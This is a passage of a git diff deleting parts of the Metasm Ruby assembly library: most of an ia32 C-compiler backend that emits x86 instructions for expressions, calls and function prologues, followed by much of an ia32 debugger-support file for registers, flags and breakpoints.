m2.kind_of? Composite - instr 'test', m2, m2 - instr 'jns', Expression[label] - instr 'push.i32', Expression[0x7fff_ffff] - instr 'push.i32', Expression[0xffff_ffff] - instr 'fild', m - instr 'add', esp, 8 - instr 'faddp', FpReg.new(1) - instr 'fld1' - instr 'faddp', FpReg.new(1) - @source << Label.new(label) - end - r = FpReg.new nil - elsif expr.type.integral? and expr.rexpr.type.float? - r = make_volatile(r, expr.rexpr.type) # => ST(0) - - if expr.type.name == :__int64 - instr 'sub', esp, Expression[8] - instr 'fistp', ModRM.new(@cpusz, 64, nil, nil, esp, nil) - if @cpusz == 64 - r = findreg - instr 'pop', r - else - r = Composite.new(findreg(32), findreg(32)) - instr 'pop', r.low - instr 'pop', r.high - end - else - instr 'sub', esp, Expression[4] - instr 'fistp', ModRM.new(@cpusz, 32, nil, nil, esp, nil) - r = findreg(32) - instr 'pop', r - tto = typesize[expr.type.name]*8 - instr 'and', r, Expression[(1<<tto)-1] if r.sz > tto - end - inuse r - elsif (expr.type.integral? or expr.type.pointer?) and (expr.rexpr.type.integral? or expr.rexpr.type.pointer?) - tto = typesize[expr.type.integral? ? expr.type.name : :ptr]*8 - tfrom = typesize[expr.rexpr.type.integral? ? expr.rexpr.type.name : :ptr]*8 - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - r = make_volatile r, expr.type - elsif tfrom > tto - if tfrom == 64 and r.kind_of? Composite - unuse r - r = r.low - inuse r - end - case r - when ModRM - unuse r - r = r.dup - r.sz = tto - inuse r - when Reg - instr 'and', r, Expression[(1<<tto)-1] if r.sz > tto - end - elsif tto > tfrom - if tto == 64 and @cpusz != 64 - high = findreg(32) - unuse r - if not r.kind_of? Reg or r.sz != 32 - inuse high - low = findreg(32) - unuse high - op = (r.sz == 32 ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) - instr op, low, r - r = low - end - r = inuse Composite.new(r, high) - if expr.type.specifier == :unsigned - instr 'xor', r.high, r.high - else - instr 'mov', r.high, r.low - instr 'sar', r.high, Expression[31] - end - elsif not r.kind_of? Reg or r.sz != @cpusz - unuse r - reg = inuse findreg - op = (r.sz == reg.sz ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) - instr op, reg, r - r = reg - end - end - end - r - end - - # compiles a CExpression, not arithmetic (assignment, comparison etc) - def c_cexpr_inner_l(expr) - case expr.op - when :funcall - c_cexpr_inner_funcall(expr) - when :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'<<=', :'>>=' - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue' if not l.kind_of? ModRM and not @state.bound.index(l) - instr 'fld', l if expr.type.float? - r = c_cexpr_inner(expr.rexpr) - op = expr.op.to_s.chop.to_sym - c_cexpr_inner_arith(l, op, r, expr.type) - instr 'fstp', l if expr.type.float? - l - when :'+', :'-', :'*', :'/', :'%', :'^', :'&', :'|', :'<<', :'>>' - # both sides are already cast to the same type by the precompiler - # XXX expr.type.pointer? - if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and - typesize[expr.lexpr.type.name] == typesize[:ptr] - expr.lexpr.type.name = :ptr - end - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) if not l.kind_of? Address - if expr.type.integral? and expr.type.name == :ptr and l.kind_of? Reg - unuse l - l = Address.new ModRM.new(l.sz, @cpusz, nil, nil, l, nil) - inuse l - end - if l.kind_of? Address and expr.type.integral? - l.modrm.imm = nil if l.modrm.imm and not l.modrm.imm.op and l.modrm.imm.rexpr == 0 - if l.modrm.b and l.modrm.i and l.modrm.s == 1 and l.modrm.b.val == l.modrm.i.val - unuse l.modrm.b if l.modrm.b != l.modrm.i - l.modrm.b = nil - l.modrm.s = 2 - end - case expr.op - when :+ - rexpr = expr.rexpr - rexpr = rexpr.rexpr while rexpr.kind_of? C::CExpression and not rexpr.op and rexpr.type.integral? and - rexpr.rexpr.kind_of? C::CExpression and rexpr.rexpr.type.integral? and - typesize[rexpr.type.name] == typesize[rexpr.rexpr.type.name] - if rexpr.kind_of? C::CExpression and rexpr.op == :* and rexpr.lexpr - r1 = c_cexpr_inner(rexpr.lexpr) - r2 = c_cexpr_inner(rexpr.rexpr) - r1, r2 = r2, r1 if r1.kind_of? Expression - if r2.kind_of? Expression and [1, 2, 4, 8].include?(rr2 = r2.reduce) - case r1 - when ModRM, Address, Reg - r1 = make_volatile(r1, rexpr.type) if not r1.kind_of? Reg - if not l.modrm.i or (l.modrm.i.val == r1.val and l.modrm.s == 1 and rr2 == 1) - unuse l, r1, r2 - l = Address.new(l.modrm.dup) - inuse l - l.modrm.i = r1 - l.modrm.s = (l.modrm.s || 0) + rr2 - return l - end - end - end - r = make_volatile(r1, rexpr.type) - c_cexpr_inner_arith(r, :*, r2, rexpr.type) - else - r = c_cexpr_inner(rexpr) - end - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, rexpr.type) if r.kind_of? ModRM - case r - when Reg - unuse l - l = Address.new(l.modrm.dup) - inuse l - if l.modrm.b - if not l.modrm.i or (l.modrm.i.val == r.val and l.modrm.s == 1) - l.modrm.i = r - l.modrm.s = (l.modrm.s || 0) + 1 - unuse r - return l - end - else - l.modrm.b = r - unuse r - return l - end - when Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :+, r] - return l - end - when :- - r = c_cexpr_inner(expr.rexpr) - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :-, r] - return l - end - when :* - r = c_cexpr_inner(expr.rexpr) - if r.kind_of? Expression and [1, 2, 4, 8].includre?(rr = r.reduce) - if l.modrm.b and not l.modrm.i - if rr != 1 - l.modrm.i = l.modrm.b - l.modrm.s = rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm - end - unuse r - return l - elsif l.modrm.i and not l.modrm.b and l.modrm.s*rr <= 8 - l.modrm.s *= rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm and rr != 1 - unuse r - return l - end - end - end - end - l = make_volatile(l, expr.type) if l.kind_of? Address - r ||= c_cexpr_inner(expr.rexpr) - c_cexpr_inner_arith(l, expr.op, r, expr.type) - l - when :'=' - r = c_cexpr_inner(expr.rexpr) - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue ' + l.inspect if not l.kind_of? ModRM and not @state.bound.index(l) - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, expr.type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - if expr.type.integral? or expr.type.pointer? - if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 - ll, lh = get_composite_parts l - rl, rh = get_composite_parts r - instr 'mov', ll, rl - instr 'mov', lh, rh - elsif r.kind_of? Address - m = r.modrm.dup - m.sz = l.sz - instr 'lea', l, m - else - if l.kind_of? ModRM and r.kind_of? Reg and l.sz != r.sz - raise if l.sz > r.sz - if l.sz == 8 and r.val >= 4 - reg = ([0, 1, 2, 3] - @state.used).first - if not reg - eax = Reg.new(0, r.sz) - instr 'push', eax - instr 'mov', eax, r - instr 'mov', l, Reg.new(eax.val, 8) - instr 'pop', eax - else - flushecachereg(reg) - instr 'mov', Reg.new(reg, r.sz), r - instr 'mov', l, Reg.new(reg, 8) - end - else - instr 'mov', l, Reg.new(r.val, l.sz) - end - else - instr 'mov', l, r - end - end - elsif expr.type.float? - r = make_volatile(r, expr.type) if r.kind_of? Expression - instr 'fstp', l - end - l - when :>, :<, :>=, :<=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) - r = c_cexpr_inner(expr.rexpr) - unuse r - if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - if expr.lexpr.type.integral? and expr.lexpr.type.name == :__int64 and @cpusz != 64 - raise # TODO - end - instr 'cmp', l, r - elsif expr.lexpr.type.float? - raise # TODO - instr 'fucompp', l, r - l = inuse findreg - else raise 'bad comparison ' + expr.to_s - end - opcc = getcc(expr.op, expr.type) - if @exeformat.cpu.opcode_list_byname['set'+opcc] - instr 'set'+opcc, Reg.new(l.val, 8) - instr 'and', l, 1 - else - instr 'mov', l, Expression[1] - label = new_label('setcc') - instr 'j'+opcc, Expression[label] - instr 'mov', l, Expression[0] - @source << Label.new(label) - end - l - else - raise 'unhandled cexpr ' + expr.to_s - end - end - - # compiles a subroutine call - def c_cexpr_inner_funcall(expr) - # check if an obj has an attribute - check on obj and its type - hasattr = lambda { |o, a| (o.kind_of?(C::Variable) and o.has_attribute(a)) or o.type.has_attribute(a) } - hasattrv = lambda { |o, a| (o.kind_of?(C::Variable) and o.has_attribute_var(a)) or o.type.has_attribute_var(a) } - - fargs = expr.lexpr.type.pointer? ? expr.lexpr.type.pointed.args : expr.lexpr.type.args - - backup = [] - if hasattr[expr.lexpr, 'fastcall'] - regargs = [1, 2][0, expr.rexpr.length] - regargs += [nil] * (expr.rexpr.length-2) if expr.rexpr.length > 2 - else - regargs = fargs.map { |a| hasattrv[a, 'register'] }.map { |a| Reg.from_str(a).val if a } - end - @state.abi_flushregs_call.each { |reg| - next if reg == 4 - next if reg == 5 and @state.saved_ebp - if not @state.used.include? reg - if not @state.abi_trashregs.include? reg - # XXX should exclude other code compiled by us (we wont trash reg) - @state.dirty |= [reg] - end - next - end - backup << reg - unuse reg - instr 'push', Reg.new(reg, [@cpusz, 32].max) - } - regargs_list = regargs.compact - regargs_list.each { |reg| - next if backup.include? reg - @state.dirty |= [reg] - next if not @state.used.include? reg - backup << reg - instr 'push', Reg.new(reg, [@cpusz, 32].max) - } - expr.rexpr.reverse_each { |arg| - a = c_cexpr_inner(arg) - a = resolve_address a if a.kind_of? Address - unuse a - if r = regargs.pop - inuse r - instr 'mov', Reg.new(r, 32), a - next - end - case arg.type - when C::Pointer - instr 'push', a - when C::BaseType - case t = arg.type.name - when :__int8 - a = make_volatile(a, arg.type) if a.kind_of? ModRM - unuse a - instr 'push', a - when :__int16 - # XXX __int8 unuse, why not here - if @cpusz != 16 and a.kind_of? Reg - instr 'push', Reg.new(a.val, @cpusz) - else - a = make_volatile(a, arg.type) - unuse a - instr 'push', a - end - when :__int32 - instr 'push', a - when :__int64 - case a - when Composite - instr 'push', a.high - instr 'push', a.low - when Reg - instr 'push', a - when ModRM - if @cpusz == 64 - instr 'push', a - else - ml, mh = get_composite_parts a - instr 'push', mh - instr 'push', ml - end - when Expression - instr 'push.i32', Expression[a, :>>, 32] - instr 'push.i32', Expression[a, :&, 0xffff_ffff] - end - when :float, :double, :longdouble - esp = Reg.new(4, @cpusz) - case a - when Expression - # assume expr is integral - a = load_fp_imm(a) - unuse a - when ModRM - instr 'fld', a - end - instr 'sub', esp, typesize[t] - instr 'fstp', ModRM.new(@cpusz, (t == :longdouble ? 80 : (t == :double ? 64 : 32)), nil, nil, esp, nil) - end - when C::Union - raise 'want a modrm ! ' + a.inspect if not a.kind_of? ModRM - al = typesize[:ptr] - argsz = (sizeof(arg) + al - 1) / al * al - while argsz > 0 - argsz -= al - m = a.dup - m.sz = 8*al - m.imm = Expression[m.imm, :+, argsz] - instr 'push', m - end - end - } - if expr.lexpr.kind_of? C::Variable and expr.lexpr.type.kind_of? C::Function - instr 'call', Expression[expr.lexpr.name] - if not hasattr[expr.lexpr, 'stdcall'] and not hasattr[expr.lexpr, 'fastcall'] - al = typesize[:ptr] - argsz = expr.rexpr.zip(fargs).inject(0) { |sum, (a, af)| - af && hasattrv[af, 'register'] ? sum : sum + (sizeof(a) + al - 1) / al * al - } - instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 - end - else - ptr = c_cexpr_inner(expr.lexpr) - unuse ptr - if ptr.kind_of? Address - if ptr.target.kind_of? C::Variable and not @state.offset[ptr.target] - # call an existing global function, maybe after casting to another ABI - ptr = Expression[ptr.target.name] - else - ptr = make_volatile(ptr, expr.lexpr.type) - end - end - instr 'call', ptr - f = expr.lexpr - f = f.rexpr while f.kind_of? C::CExpression and not f.op and f.rexpr.kind_of? C::Typed and f.type == f.rexpr.type - if not hasattr[f, 'stdcall'] and not hasattr[f, 'fastcall'] - al = typesize[:ptr] - argsz = expr.rexpr.zip(fargs).inject(0) { |sum, (a, af)| - af && hasattrv[af, 'register'] ? sum : sum + (sizeof(a) + al - 1) / al * al - } - instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 - end - end - @state.abi_flushregs_call.each { |reg| flushcachereg reg } - if expr.type.float? - retreg = FpReg.new(nil) - elsif not expr.type.kind_of? C::BaseType or expr.type.name != :void - if @state.used.include? 0 - retreg = inuse findreg - else - retreg = inuse getreg(0) - end - if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 - retreg.sz = 32 - if @state.used.include? 2 - retreg = inuse Composite.new(retreg, findreg(32)) - else - retreg = inuse Composite.new(retreg, getreg(2, 32)) - end - unuse retreg.low - end - end - regargs_list.each { |reg| unuse reg } - backup.reverse_each { |reg| - sz = [@cpusz, 32].max - if retreg.kind_of? Composite and reg == 0 - # XXX wtf ? and what if retreg.low.val == 2 and it was saved too.. - instr 'pop', Reg.new(retreg.low.val, sz) - instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.low.val, sz) - elsif retreg.kind_of? Composite and reg == 2 - # ..boom ! - instr 'pop', Reg.new(retreg.high.val, sz) - instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.high.val, sz) - elsif retreg.kind_of? Reg and reg == 0 - instr 'pop', Reg.new(retreg.val, sz) - instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.val, sz) - else - instr 'pop', Reg.new(reg, sz) - end - inuse reg - } - retreg - end - - # compiles/optimizes arithmetic operations - def c_cexpr_inner_arith(l, op, r, type) - # optimizes *2 -> <<1 - if r.kind_of? Expression and (rr = r.reduce).kind_of? ::Integer - if type.integral? - log2 = lambda { |v| - # TODO lol - i = 0 - i += 1 while (1 << i) < v - i if (1 << i) == v - } - if (lr = log2[rr]).kind_of? ::Integer - case op - when :*; return c_cexpr_inner_arith(l, :<<, Expression[lr], type) - when :/; return c_cexpr_inner_arith(l, :>>, Expression[lr], type) - when :%; return c_cexpr_inner_arith(l, :&, Expression[rr-1], type) - end - else - # TODO /r => *(r^(-1)), *3 => stuff with magic constants.. - end - elsif type.float? - case op - when :<<; return c_cexpr_inner_arith(l, :*, Expression[1<<rr], type) - when :>>; return c_cexpr_inner_arith(l, :/, Expression[1<<rr], type) - end - end - end - - if type.float? - c_cexpr_inner_arith_float(l, op, r, type) - elsif type.integral? and type.name == :__int64 and @cpusz != 64 - c_cexpr_inner_arith_int64compose(l, op, r, type) - else - c_cexpr_inner_arith_int(l, op, r, type) - end - end - - # compiles a float arithmetic expression - # l is ST(0) - def c_cexpr_inner_arith_float(l, op, r, type) - op = case op - when :+; 'fadd' - when :-; 'fsub' - when :*; 'fmul' - when :/; 'fdiv' - else raise "unsupported FPU operation #{l} #{op} #{r}" - end - - unuse r - case r - when FpReg; instr op+'p', FpReg.new(1) - when ModRM; instr op, r - end - end - - # compile an integral arithmetic expression, reg-sized - def c_cexpr_inner_arith_int(l, op, r, type) - op = case op - when :+; 'add' - when :-; 'sub' - when :&; 'and' - when :|; 'or' - when :^; 'xor' - when :>>; type.specifier == :unsigned ? 'shr' : 'sar' - when :<<; 'shl' - when :*; 'mul' - when :/; 'div' - when :%; 'mod' - end - - case op - when 'add', 'sub', 'and', 'or', 'xor' - r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [eax], bl - instr op, l, r - when 'shr', 'sar', 'shl' - if r.kind_of? Expression - instr op, l, r - else - # XXX bouh - r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) - unuse r - if r.val != 1 - ecx = Reg.new(1, 32) - instr 'xchg', ecx, Reg.new(r.val, 32) - l = Reg.new(r.val, l.sz) if l.kind_of? Reg and l.val == 1 - @state.used.delete r.val if not @state.used.include? 1 - inuse ecx - end - instr op, l, Reg.new(1, 8) - instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 - end - when 'mul' - if l.kind_of? ModRM - if r.kind_of? Expression - ll = findreg - instr 'imul', ll, l, r - else - ll = make_volatile(l, type) - unuse ll - instr 'imul', ll, r - end - instr 'mov', l, ll - else - instr 'imul', l, r - end - unuse r - when 'div', 'mod' - lv = l.val if l.kind_of? Reg - eax = Reg.from_str 'eax' - edx = Reg.from_str 'edx' - if @state.used.include? eax.val and lv != eax.val - instr 'push', eax - saved_eax = true - end - if @state.used.include? edx.val and lv != edx.val - instr 'push', edx - saved_edx = true - end - - instr 'mov', eax, l if lv != eax.val - - if r.kind_of? Expression - instr 'push', r - esp = Reg.from_str 'esp' - r = ModRM.new(@cpusz, 32, nil, nil, esp, nil) - need_pop = true - end - - if type.specifier == :unsigned - instr 'mov', edx, Expression[0] - instr 'div', r - else - instr 'cdq' - instr 'idiv', r - end - unuse r - - instr 'add', esp, 4 if need_pop - - if op == 'div' - instr 'mov', l, eax if lv != eax.val - else - instr 'mov', l, edx if lv != edx.val - end - - instr 'pop', edx if saved_edx - instr 'pop', eax if saved_eax - end - end - - # compile an integral arithmetic 64-bits expression on a non-64 cpu - def c_cexpr_inner_arith_int64compose(l, op, r, type) - op = case op - when :+; 'add' - when :-; 'sub' - when :&; 'and' - when :|; 'or' - when :^; 'xor' - when :>>; type.specifier == :unsigned ? 'shr' : 'sar' - when :<<; 'shl' - when :*; 'mul' - when :/; 'div' - when :%; 'mod' - end - - ll, lh = get_composite_parts l - # 1ULL << 2 -> 2 is not ULL - r = make_volatile(r, C::BaseType.new("__int#{r.sz}".to_sym)) if l.kind_of? ModRM and r.kind_of? ModRM - rl, rh = get_composite_parts(r) if not r.kind_of? Reg - - case op - when 'add', 'sub', 'and', 'or', 'xor' - unuse r - instr op, ll, rl - op = {'add' => 'adc', 'sub' => 'sbb'}[op] || op - instr op, lh, rh unless (op == 'or' or op == 'xor') and rh.kind_of?(Expression) and rh.reduce == 0 - when 'shl', 'shr', 'sar' - rlc = r.reduce if r.kind_of? Expression - opd = { 'shl' => 'shld', 'shr' => 'shrd', 'sar' => 'shrd' }[op] - - ll, lh = lh, ll if op != 'shl' # OMGHAX - llv = ll - if llv.kind_of? ModRM - llv = make_volatile(llv, C::BaseType.new(:__int32)) - inuse ll - end - - if rlc.kind_of? Integer - case rlc - when 0 - when 1..31 - instr opd, llv, lh, Expression[rlc] - instr op, ll, Expression[rlc] - when 32..63 - instr 'mov', lh, llv - if op == 'sar' - instr 'sar', ll, Expression[31] - else - instr 'mov', ll, Expression[0] - end - instr op, lh, Expression[rlc-32] if rlc != 32 - else - if op == 'sar' - instr 'sar', ll, Expression[31] - instr 'mov', lh, llv - else - instr 'mov', ll, Expression[0] - instr 'mov', lh, Expression[0] - end - end - else - r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) - r = r.low if r.kind_of? Composite - rl ||= r - - cl = Reg.new(1, 8) - ecx = Reg.new(1, 32) - if r.val != 1 - instr 'xchg', ecx, Reg.new(r.val, 32) - lh = Reg.new(r.val, lh.sz) if lh.kind_of?(Reg) and lh.val == 1 - ll = Reg.new(r.val, ll.sz) if ll.kind_of?(Reg) and ll.val == 1 - llv = Reg.new(r.val, llv.sz) if llv.kind_of?(Reg) and llv.val == 1 - @state.used.delete r.val if not @state.used.include? 1 - inuse ecx - end - - labelh = new_label('shldh') - labeld = new_label('shldd') - instr 'test', ecx, Expression[0x20] - instr 'jnz', Expression[labelh] - instr opd, llv, lh, cl - instr op, ll, cl - instr 'jmp', Expression[labeld] - @source << Label.new(labelh) - instr op, llv, cl - instr 'mov', lh, llv - if op == 'sar' - instr 'sar', ll, Expression[31] - else - instr 'mov', ll, Expression[0] - end - @source << Label.new(labeld) - - instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 - unuse ecx - unuse r - end - when 'mul' - # high = (low1*high2) + (high1*low2) + (low1*low2).high - t1 = findreg(32) - t2 = findreg(32) - unuse t1, t2, r - instr 'mov', t1, ll - instr 'mov', t2, rl - instr 'imul', t1, rh - instr 'imul', t2, lh - instr 'add', t1, t2 - - raise # TODO push eax/edx, mul, pop - instr 'mov', eax, ll - if rl.kind_of? Expression - instr 'mov', t2, rl - instr 'mul', t2 - else - instr 'mul', rl - end - instr 'add', t1, edx - instr 'mov', lh, t1 - instr 'mov', ll, eax - - when 'div' - raise # TODO - when 'mod' - raise # TODO - end - end - - def c_cexpr(expr) - case expr.op - when :+, :-, :*, :/, :&, :|, :^, :%, :[], nil, :'.', :'->', - :>, :<, :<=, :>=, :==, :'!=', :'!' - # skip no-ops - c_cexpr(expr.lexpr) if expr.lexpr.kind_of? C::CExpression - c_cexpr(expr.rexpr) if expr.rexpr.kind_of? C::CExpression - else unuse c_cexpr_inner(expr) - end - end - - def c_block_exit(block) - @state.cache.delete_if { |k, v| - case v - when C::Variable; block.symbol.index v - when Address; block.symbol.index v.target - end - } - block.symbol.each { |s| - unuse @state.bound.delete(s) - } - end - - def c_decl(var) - if var.type.kind_of? C::Array and - var.type.length.kind_of? C::CExpression - reg = c_cexpr_inner(var.type.length) - unuse reg - instr 'sub', Reg.new(4, @cpusz), reg - # TODO - end - end - - def c_ifgoto(expr, target) - case o = expr.op - when :<, :>, :<=, :>=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - r = c_cexpr_inner(expr.rexpr) - if l.kind_of? Expression - o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o - l, r = r, l - end - r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM - unuse l, r - if expr.lexpr.type.integral? - if expr.lexpr.type.name == :__int64 and @cpusz != 64 - raise # TODO - end - instr 'cmp', l, r - elsif expr.lexpr.type.float? - raise # TODO - instr 'fcmpp', l, r - else raise 'bad comparison ' + expr.to_s - end - op = 'j' + getcc(o, expr.lexpr.type) - instr op, Expression[target] - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - unuse r - instr 'test', r, r - instr 'jz', Expression[target] - else - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - instr 'test', r, r - instr 'jnz', Expression[target] - end - end - - def c_goto(target) - instr 'jmp', Expression[target] - end - - def c_label(name) - @state.cache.clear - @source << '' << Label.new(name) - end - - def c_return(expr) - return if not expr - @state.cache.delete_if { |r, v| r.kind_of? Reg and r.val == 0 and expr != v } - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - case r - when Composite - if r.low.val == 2 - instr 'xchg', r.low, r.high - instr 'mov', Reg.new(0, 32), r.low if r.high.val != 0 - else - instr 'mov', Reg.new(2, 32), r.high if r.high.val != 2 - instr 'mov', Reg.new(0, 32), r.low if r.low.val != 0 - end - when Reg - instr 'mov', Reg.new(0, r.sz), r if r.val != 0 - when FpReg - instr 'fld', FpReg.new(r.val) if r.val and r.val != 0 - end - end - - def c_asm(stmt) - if stmt.output or stmt.input or stmt.clobber - raise # TODO (handle %%0 => eax, gas, etc) - else - raise if @state.func.initializer.symbol.keys.find { |sym| stmt.body =~ /\b#{Regexp.escape(sym)}\b/ } # gsub ebp+off ? - @source << stmt.body - end - end - - def c_init_state(func) - @state = State.new(func) - # ET_DYN trashes ebx too - # XXX hope we're not a Shellcode to be embedded in an ELF.. - @state.abi_flushregs_call << 3 if @exeformat and @exeformat.shortname == 'elf' - - c_reserve_stack(func.initializer) - off = @state.offset.values.max.to_i # where to store register args - off = 0 if off < 0 - - al = typesize[:ptr] - argoff = 2*al - fa = func.type.args.dup - if func.has_attribute('fastcall') - 2.times { - if a = fa.shift - off = c_reserve_stack_var(a, off) - @state.offset[a] = off - end - } - end - fa.each { |a| - if a.has_attribute_var('register') or a.type.has_attribute_var('register') - off = c_reserve_stack_var(a, off) - @state.offset[a] = off - next - end - @state.offset[a] = -argoff - argoff = (argoff + sizeof(a) + al - 1) / al * al - } - if not @state.offset.values.grep(::Integer).empty? - @state.saved_ebp = Reg.new(5, @cpusz) - @state.used << 5 - end - end - - def c_prolog - localspc = @state.offset.values.grep(::Integer).max - return if @state.func.has_attribute('naked') - if localspc - al = typesize[:ptr] - localspc = (localspc + al - 1) / al * al - ebp = @state.saved_ebp - esp = Reg.new(4, ebp.sz) - instr 'push', ebp - instr 'mov', ebp, esp - instr 'sub', esp, Expression[localspc] if localspc > 0 - - if @state.func.has_attribute('fastcall') - if a0 = @state.func.type.args[0] - instr 'mov', findvar(a0), Reg.new(1, 32) - end - if a1 = @state.func.type.args[1] - instr 'mov', findvar(a1), Reg.new(2, 32) - end - else - @state.func.type.args.each { |a| - if r = (a.has_attribute_var('register') or a.type.has_attribute_var('register')) - # XXX if r == ebp, then prepend_prolog mov [esp-off], ebp... - # XXX this would break when calling anyway (mov ebp, 42; <stuff with &var_42>; call func) - instr 'mov', findvar(a), Reg.from_str(r) - end - } - end - end - @state.dirty -= @state.abi_trashregs # XXX ABI - @state.dirty.each { |reg| - instr 'push', Reg.new(reg, @cpusz) - } - end - - def c_epilog - return if @state.func.attributes.to_a.include? 'naked' - # TODO revert dynamic array alloc - @state.dirty.reverse_each { |reg| - instr 'pop', Reg.new(reg, @cpusz) - } - if ebp = @state.saved_ebp - instr 'mov', Reg.new(4, ebp.sz), ebp - instr 'pop', ebp - end - f = @state.func - if f.has_attribute('stdcall') or f.has_attribute('fastcall') - al = typesize[:ptr] - fa = f.type.args.dup - 2.times { fa.shift } if f.has_attribute('fastcall') - argsz = fa.inject(0) { |sum, a| - (a.has_attribute_var('register') or a.type.has_attribute_var('register')) ? sum : sum + (sizeof(a) + al - 1) / al * al - } - if argsz > 0 - instr 'ret', Expression[argsz] - else - instr 'ret' - end - else - instr 'ret' - end - end - - # adds the metasm_intern_geteip function, which returns its own address in eax (used for PIC addressing) - def c_program_epilog - if defined? @need_geteip_stub and @need_geteip_stub - return if new_label('metasm_intern_geteip') != 'metasm_intern_geteip' # already defined elsewhere - - eax = Reg.new(0, @cpusz) - label = new_label('geteip') - - @source << Label.new('metasm_intern_geteip') - instr 'call', Expression[label] - @source << Label.new(label) - instr 'pop', eax - instr 'add', eax, Expression['metasm_intern_geteip', :-, label] - instr 'ret' - end -#File.open('m-dbg-precomp.c', 'w') { |fd| fd.puts @parser } -#File.open('m-dbg-src.asm', 'w') { |fd| fd.puts @source } - end -end - - def new_ccompiler(parser, exe=ExeFormat.new) - exe.cpu = self if not exe.instance_variable_get("@cpu") - CCompiler.new(parser, exe) - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/debug.rb b/lib/metasm/metasm/cpu/ia32/debug.rb deleted file mode 100644 index 952c72fb47..0000000000 --- a/lib/metasm/metasm/cpu/ia32/debug.rb +++ /dev/null @@ -1,193 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' - -module Metasm -class Ia32 - def dbg_register_pc - @dbg_register_pc ||= :eip - end - def dbg_register_sp - @dbg_register_sp ||= dbg_register_list[7] - end - def dbg_register_flags - @dbg_register_flags ||= :eflags - end - - def dbg_register_list - @dbg_register_list ||= [:eax, :ebx, :ecx, :edx, :esi, :edi, :ebp, :esp, :eip] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(32).update(:cs => 16, :ds => 16, :es => 16, :fs => 16, :gs => 16) - end - - def dbg_flag_list - @dbg_flag_list ||= [:c, :p, :a, :z, :s, :i, :d, :o] - end - - DBG_FLAGS = { :c => 0, :p => 2, :a => 4, :z => 6, :s => 7, :t => 8, :i => 9, :d => 10, :o => 11 } - def dbg_get_flag(dbg, f) - (dbg.get_reg_value(dbg_register_flags) >> DBG_FLAGS[f]) & 1 - end - def dbg_set_flag(dbg, f) - fl = dbg.get_reg_value(dbg_register_flags) - fl |= 1 << DBG_FLAGS[f] - dbg.set_reg_value(dbg_register_flags, fl) - end - def dbg_unset_flag(dbg, f) - fl = dbg.get_reg_value(dbg_register_flags) - fl &= ~(1 << DBG_FLAGS[f]) - dbg.set_reg_value(dbg_register_flags, fl) - end - - def dbg_enable_singlestep(dbg) - dbg_set_flag(dbg, :t) if dbg_get_flag(dbg, :t) == 0 - end - def dbg_disable_singlestep(dbg) - dbg_unset_flag(dbg, :t) if dbg_get_flag(dbg, :t) != 0 - end - - def dbg_enable_bp(dbg, bp) - case bp.type - when :bpx; dbg_enable_bpx( dbg, bp) - else dbg_enable_bphw(dbg, bp) - end - end - - def dbg_disable_bp(dbg, bp) - case bp.type - when :bpx; dbg_disable_bpx( dbg, bp) - else dbg_disable_bphw(dbg, bp) - end - end - - def dbg_enable_bpx(dbg, bp) - bp.internal[:previous] ||= dbg.memory[bp.address, 1] - dbg.memory[bp.address, 1] = "\xcc" - end - - def dbg_disable_bpx(dbg, bp) - dbg.memory[bp.address, 1] = bp.internal[:previous] - end - - # allocate a debug register for a hwbp by checking the list of hwbp existing in dbg - def dbg_alloc_bphw(dbg, bp) - if not bp.internal[:dr] - may = [0, 1, 2, 3] - dbg.breakpoint_thread.values.each { |bb| may.delete bb.internal[:dr] } - raise 'alloc_bphw: no free debugregister' if may.empty? - bp.internal[:dr] = may.first - end - bp.internal[:type] ||= :x - bp.internal[:len] ||= 1 - bp.internal[:dr] - end - - def dbg_enable_bphw(dbg, bp) - nr = dbg_alloc_bphw(dbg, bp) - dr7 = dbg[:dr7] - l = { 1 => 0, 2 => 1, 4 => 3, 8 => 2 